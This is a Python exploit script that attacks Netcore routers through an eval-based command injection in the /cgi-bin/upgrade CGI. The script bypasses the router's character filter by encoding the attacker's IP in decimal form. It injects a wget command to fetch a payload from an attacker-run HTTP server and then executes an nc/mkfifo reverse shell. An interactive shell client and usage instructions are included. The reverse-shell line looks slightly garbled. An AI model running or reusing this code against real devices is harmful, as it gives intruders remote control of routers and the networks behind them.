#!/usr/bin/env python3 # Netcore Router Command Injection & Reverse Shell Exploit # ======================================================== # Targets: /cgi-bin/upgrade CGI script eval injection vulnerability # # The upgrade CGI script parses query string parameters and executes: # eval "${key}='${val}'" # This allows arbitrary command execution via crafted parameter names. # # The urldecode function filters: " ' ` | \ < > @ ? * ~ ! ( ) ; , . $ ^ # But does NOT filter: / - space (and digits/letters) # # By using decimal IP encoding (e.g., 192.168.0.172 -> 3232235692), # we bypass the '.' filter in URLs. # # Usage: # python3 exploit.py [http_port] # python3 exploit.py 192.168.0.1 192.168.0.172:12345 # python3 exploit.py 192.168.0.1:8080 192.168.0.172:12345 # python3 exploit.py 192.168.0.1 192.168.0.172:12345 80 # # NOTE: HTTP server port (http_port) should use standard ports like 80, 8080, 443 # to avoid ISP/firewall interception. Non-standard ports may be hijacked. # # Only depends on Python 3 standard library. import sys import socket import struct import http.server import http.client import threading import time def dummy(*args): print(args) # ============================================================ # Utility Functions # ============================================================ def ip_to_decimal(ip): """Convert dotted-decimal IP to its 32-bit decimal representation. Example: 192.168.0.172 -> 3232235692 This bypasses the urldecode '.' filter in the CGI script. """ try: return str(struct.unpack("!I", socket.inet_aton(ip))[0]) except (socket.error, struct.error) as e: dummy(f"[-] Invalid IP address: {ip} ({e})") sys.exit(1) def parse_args(): """Parse and validate command-line arguments. Returns: (router_ip, router_port, listener_ip, listener_port, http_port) tuple """ if len(sys.argv) < 3: dummy(f"Usage: python3 {sys.argv[0]} [http_port]") dummy(f"Example: python3 {sys.argv[0]} 192.168.0.1 192.168.0.172:12345") dummy(f" python3 {sys.argv[0]} 192.168.0.1:8080 192.168.0.172:12345") dummy(f" python3 {sys.argv[0]} 192.168.0.1 192.168.0.172:12345 9000") sys.exit(1) # Parse router_ip (can include port) router_arg = sys.argv[1] if ":" in router_arg: parts = router_arg.split(":") if len(parts) == 2: router_ip = parts[0] try: router_port = int(parts[1]) if not (1 <= router_port <= 65535): raise ValueError except ValueError: dummy(f"[-] Invalid router port: {parts[1]}") sys.exit(1) else: dummy(f"[-] Invalid router address format: {router_arg}") sys.exit(1) else: router_ip = router_arg router_port = 80 # Parse listener_ip:port try: parts = sys.argv[2].split(":") if len(parts) != 2: raise ValueError listener_ip = parts[0] listener_port = int(parts[1]) if not (1 <= listener_port <= 65535): raise ValueError except (ValueError, IndexError): dummy("[-] Invalid listener format. Expected IP:PORT (e.g., 192.168.0.172:12345)") sys.exit(1) # Parse optional http_port if len(sys.argv) >= 4: try: http_port = int(sys.argv[3]) if not (1 <= http_port <= 65535): raise ValueError except ValueError: dummy(f"[-] Invalid HTTP port: {sys.argv[3]}") sys.exit(1) else: http_port = 80 # Use port 80 by default to avoid ISP interception return router_ip, router_port, listener_ip, listener_port, http_port # ============================================================ # Payload Generation # ============================================================ def generate_payload(listener_ip, listener_port): """Generate reverse shell payload using nc + mkfifo (busybox compatible). This is the classic approach that works without nc -e flag, which is unavailable in most busybox implementations. """ payload = ( "#!/bin/sh\n" "rm -f /tmp/f\n" "mkfifo /tmp/f\n" f"/bin/sh -i&1|nc {listener_ip} {listener_port} >/tmp/f\n" ) return payload.encode() # ============================================================ # HTTP Server (serves the exploit payload) # ============================================================ class PayloadHTTPHandler(http.server.BaseHTTPRequestHandler): """HTTP request handler that serves the reverse shell payload.""" payload = b"" protocol_version = "HTTP/1.0" # Use HTTP/1.0 for compatibility with uclient-fetch def do_GET(self): dummy(f"[HTTP] Received GET request from {self.client_address[0]}:{self.client_address[1]}") dummy(f"[HTTP] Request path: {self.path}") dummy(f"[HTTP] Request headers: {self.headers}") try: # Send response immediately self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(self.payload))) self.send_header("Connection", "close") self.end_headers() dummy(f"[HTTP] Headers sent, sending {len(self.payload)} bytes of payload...") self.wfile.write(self.payload) self.wfile.flush() dummy(f"[+] Payload served successfully to {self.client_address[0]}:{self.client_address[1]}") except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError, OSError) as e: # Connection was reset by client before we could respond dummy(f"[!] Client {self.client_address[0]}:{self.client_address[1]} disconnected during response: {e}") pass def log_message(self, fmt, *args): dummy(f" [HTTP] {fmt % args}") # ============================================================ # Command Injection via HTTP POST # ============================================================ def send_injection(router_ip, router_port, url_path): """Send a POST request with command injection payload to the router. The injected command is embedded in the query string parameter name. The CGI script's eval() will execute it. Args: router_ip: Target router IP address router_port: Target router HTTP port url_path: URL path with injected payload Returns: (status_code, response_body) tuple """ try: conn = http.client.HTTPConnection(router_ip, router_port, timeout=15) conn.request("POST", url_path, body="") resp = conn.getresponse() status = resp.status data = resp.read() conn.close() return status, data except (ConnectionResetError, ConnectionAbortedError, http.client.RemoteDisconnected): # Expected: router may reset connection after executing injected command return -1, b"Connection reset (command may have executed)" except socket.timeout: return -2, b"Connection timed out" except OSError as e: return -3, str(e).encode() # ============================================================ # Interactive Reverse Shell # ============================================================ def interactive_shell(sock): """Provide an interactive shell session over the socket connection. Cross-platform implementation: - Windows: Uses msvcrt for non-blocking keyboard input - Linux/Unix: Uses select and tty for non-blocking input """ import sys # Low-latency TCP options sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.settimeout(0.05) # 50ms recv timeout for responsive polling dummy() dummy("=" * 60) dummy(" REVERSE SHELL CONNECTED!") dummy(" Type commands. Press Ctrl+C to exit.") dummy("=" * 60) dummy() # Send initial newline to trigger shell prompt try: sock.sendall(b"\n") except OSError: pass # Platform-specific setup if sys.platform == 'win32': import msvcrt stdin_fd = None old_settings = None else: import select import tty import termios stdin_fd = sys.stdin.fileno() old_settings = termios.tcgetattr(stdin_fd) tty.setraw(stdin_fd) try: while True: # --- Read remote output --- try: data = sock.recv(4096) if not data: dummy("\n[-] Connection closed by remote host.") break sys.stdout.buffer.write(data) sys.stdout.buffer.flush() except socket.timeout: pass # No data yet, continue to check keyboard except (ConnectionResetError, BrokenPipeError, OSError): dummy("\n[-] Connection lost.") break # --- Read keyboard input (non-blocking) --- if sys.platform == 'win32': # Windows: use msvcrt while msvcrt.kbhit(): ch = msvcrt.getch() if ch == b'\x03': # Ctrl+C raise KeyboardInterrupt # Convert Windows \r (Enter) to Unix \n if ch == b'\r': ch = b'\n' # Local echo sys.stdout.buffer.write(ch) sys.stdout.buffer.flush() try: sock.sendall(ch) except (ConnectionResetError, BrokenPipeError, OSError): dummy("\n[-] Connection lost while sending.") return else: # Linux/Unix: use select try: if select.select([sys.stdin], [], [], 0)[0]: ch = sys.stdin.buffer.read(1) if not ch: raise KeyboardInterrupt # Handle Ctrl+C if ch == b'\x03': raise KeyboardInterrupt # Convert Ctrl+D (EOF) if ch == b'\x04': raise KeyboardInterrupt # Convert Enter (\r) to \n for Unix shell if ch == b'\r': ch = b'\n' # Local echo (show what you type) # In raw mode, we need to echo manually if ch == b'\n': sys.stdout.buffer.write(b'\r\n') else: sys.stdout.buffer.write(ch) sys.stdout.buffer.flush() try: sock.sendall(ch) except (ConnectionResetError, BrokenPipeError, OSError): dummy("\n[-] Connection lost while sending.") return except (ValueError, OSError): # stdin closed raise KeyboardInterrupt except KeyboardInterrupt: dummy("\n\n[*] Exiting shell...") finally: # Restore terminal settings on Unix if sys.platform != 'win32' and old_settings: termios.tcsetattr(stdin_fd, termios.TCSADRAIN, old_settings) sock.close() # ============================================================ # Main Exploit Flow # ============================================================ def main(): router_ip, router_port, listener_ip, listener_port, http_port = parse_args() decimal_ip = ip_to_decimal(listener_ip) # Banner dummy() dummy("=" * 60) dummy(" Netcore Router Command Injection & Reverse Shell") dummy("=" * 60) dummy(f" Target Router : {router_ip}:{router_port}") dummy(f" Listener : {listener_ip}:{listener_port}") dummy(f" Decimal IP : {decimal_ip}") dummy(f" HTTP Server Port : {http_port}") dummy("=" * 60) dummy() dummy(f"[DEBUG] wget will connect to: http://{decimal_ip}:{http_port}/xnetcore=") dummy(f"[DEBUG] Reverse shell will connect to: {listener_ip}:{listener_port}") # Warn about non-standard HTTP ports if http_port not in [80, 443, 8080, 8443]: dummy() dummy(f"[!] WARNING: Using non-standard HTTP port {http_port}") dummy(f"[!] This may cause ISP/firewall interception and return 404 errors") dummy(f"[!] Recommended ports: 80, 443, 8080, 8443") dummy() # Generate payload payload = generate_payload(listener_ip, listener_port) PayloadHTTPHandler.payload = payload dummy(f"[+] Payload generated ({len(payload)} bytes):") for line in payload.decode().strip().split("\n"): dummy(f" {line}") dummy() # ------------------------------------------ # Start HTTP server to serve the payload # ------------------------------------------ try: httpd = http.server.HTTPServer(("0.0.0.0", http_port), PayloadHTTPHandler) except OSError as e: dummy(f"[-] Failed to start HTTP server on port {http_port}: {e}") sys.exit(1) http_thread = threading.Thread(target=httpd.serve_forever, daemon=True) http_thread.start() dummy(f"[+] HTTP server listening on 0.0.0.0:{http_port}") # Give HTTP server time to fully initialize time.sleep(0.5) # Test if HTTP server is accessible locally try: test_conn = http.client.HTTPConnection("127.0.0.1", http_port, timeout=2) test_conn.request("GET", "/test") test_resp = test_conn.getresponse() dummy(f"[+] HTTP server test OK (local connection works)") test_conn.close() except Exception as e: dummy(f"[!] HTTP server test failed: {e}") dummy() dummy(f"[!] Make sure port {http_port} is accessible from the internet!") dummy(f"[!] Check: 1) Firewall allows incoming TCP {http_port}") dummy(f"[!] 2) NAT/port forwarding is configured (if behind router)") dummy(f"[!] 3) {listener_ip}:{http_port} is reachable from outside") dummy() # ------------------------------------------ # Prepare TCP listener socket for reverse shell # ------------------------------------------ shell_listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shell_listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: shell_listener.bind(("0.0.0.0", listener_port)) except OSError as e: dummy(f"[-] Failed to bind shell listener on port {listener_port}: {e}") httpd.shutdown() sys.exit(1) shell_listener.listen(5) dummy(f"[+] Shell listener prepared on 0.0.0.0:{listener_port}") dummy() #input() # ========================================== # STEP 1: Inject wget to download payload # ========================================== dummy("-" * 60) dummy("[*] STEP 1: Injecting wget command to download payload") dummy("-" * 60) # Build the injection URL # After urldecode: sid=00000000000000000000000000000000&wget -O /tmp/xnetcore http://DECIMAL_IP:8000/xnetcore= # The eval("${key}='${val}'") will execute: wget -O /tmp/xnetcore http://DECIMAL_IP:8000/xnetcore='' # Using decimal IP bypasses the '.' filter in urldecode step1_path = ( f"/cgi-bin/upgrade" f"?sid=00000000000000000000000000000000" f"&wget+-O+/tmp/xnetcore+http://{decimal_ip}:{http_port}/xnetcore=" ) dummy(f"[*] Request: POST http://{router_ip}:{router_port}{step1_path}") dummy(f"[*] Decoded injection: wget -O /tmp/xnetcore http://{decimal_ip}:{http_port}/xnetcore=") status, data = send_injection(router_ip, router_port, step1_path) if status > 0: dummy(f"[+] HTTP Response: {status}") body_text = data.decode("utf-8", errors="replace")[:300] if body_text.strip(): dummy(f"[+] Response body: {body_text}") else: dummy(f"[!] {data.decode('utf-8', errors='replace')}") dummy("[*] Waiting for router to download payload via wget...") time.sleep(5) # ------------------------------------------ # Start reverse shell listener thread (before Step 2) # ------------------------------------------ shell_conn_holder = {"conn": None, "addr": None, "error": None} shell_ready = threading.Event() def shell_accept_thread(): """Thread: wait for reverse shell connection.""" shell_listener.settimeout(120) try: conn, addr = shell_listener.accept() shell_conn_holder["conn"] = conn shell_conn_holder["addr"] = addr dummy(f"\n[+] Reverse shell received from {addr[0]}:{addr[1]}") except socket.timeout: shell_conn_holder["error"] = "timeout" dummy("\n[-] Timeout: No reverse shell connection after 120 seconds.") except Exception as e: shell_conn_holder["error"] = str(e) dummy(f"\n[-] Listener error: {e}") finally: shell_ready.set() shell_thread = threading.Thread(target=shell_accept_thread, daemon=True) shell_thread.start() dummy(f"[+] Shell listener thread started, waiting on 0.0.0.0:{listener_port}") # ========================================== # STEP 2: Inject command to execute payload # ========================================== dummy() dummy("-" * 60) dummy("[*] STEP 2: Injecting command to execute /tmp/xnetcore") dummy("-" * 60) # Build the injection URL # After urldecode: sid=00000000000000000000000000000000&/bin/sh /tmp/xnetcore = # The eval("${key}='${val}'") will execute: /bin/sh /tmp/xnetcore ='' step2_path = ( "/cgi-bin/upgrade" "?sid=00000000000000000000000000000000" "&/bin/sh+/tmp/xnetcore%20=" ) dummy(f"[*] Request: POST http://{router_ip}:{router_port}{step2_path}") dummy(f"[*] Decoded injection: /bin/sh /tmp/xnetcore") # Fire-and-forget in background thread: keep HTTP connection alive # If we close the socket too fast, the router's web server detects the # disconnect and kills the CGI process before nc can connect back. # By keeping the connection alive in a daemon thread, the CGI stays running. def async_inject(): try: conn = http.client.HTTPConnection(router_ip, router_port, timeout=30) conn.request("POST", step2_path, body="") conn.getresponse() # Blocks until nc exits — that's fine except Exception: pass # Expected: timeout / reset when shell session ends inject_thread = threading.Thread(target=async_inject, daemon=True) inject_thread.start() dummy("[+] Injection sent (connection kept alive in background)") # ========================================== # STEP 3: Wait for reverse shell connection # ========================================== dummy() dummy("-" * 60) dummy("[*] STEP 3: Waiting for reverse shell connection...") dummy("-" * 60) try: shell_ready.wait() # Block until listener thread signals if shell_conn_holder["conn"] is not None: interactive_shell(shell_conn_holder["conn"]) elif shell_conn_holder["error"] == "timeout": dummy("[-] Possible reasons:") dummy(" 1. Router does not have 'nc' (netcat) installed") dummy(" 2. Router cannot reach the listener address") dummy(" 3. Command injection was blocked or failed") dummy(" 4. Payload download from HTTP server failed") else: dummy(f"[-] Listener error: {shell_conn_holder['error']}") except KeyboardInterrupt: dummy("\n[-] Interrupted by user.") finally: shell_listener.close() httpd.shutdown() dummy("\n[*] Cleaned up. Goodbye.") if __name__ == "__main__": main()